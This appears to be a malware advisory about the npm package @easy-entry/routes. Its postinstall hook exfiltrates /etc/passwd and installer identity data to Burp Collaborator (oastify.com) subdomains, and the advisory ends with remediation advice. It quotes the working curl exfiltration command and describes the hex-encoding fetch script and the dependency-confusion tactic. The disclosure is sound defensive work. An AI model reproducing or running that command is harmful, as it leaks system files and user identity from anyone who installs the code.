MAL-2026-5410 Malicious code in @easy-entry/routes (npm)

On npm install, the package's postinstall hook in package.json runs curl --data '@/etc/passwd' $(hostname).200hj786m7x4kfz1lkr4kmshu80zoqcf.oastify.com, POSTing the contents of /etc/passwd to an attacker-controlled Burp Collaborator subdomain prefixed with the installer's hostname. The same hook executes scripts/scream3gg.js, which hex-encodes os.hostname(), os.homedir(), and os.userInfo().username and issues an HTTP fetch to http://<hex>.nmd25sur8sjp60lm75dp67e2gtmkaayz.oastify.com, tunneling installer identity out via subdomain. The package has no legitimate functionality — it ships only the exfil payload. The scoped name @easy-entry/routes combined with an absurd 99.9.5 version is a textbook dependency-confusion shape designed to win resolution against an internal-only package of the same name.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
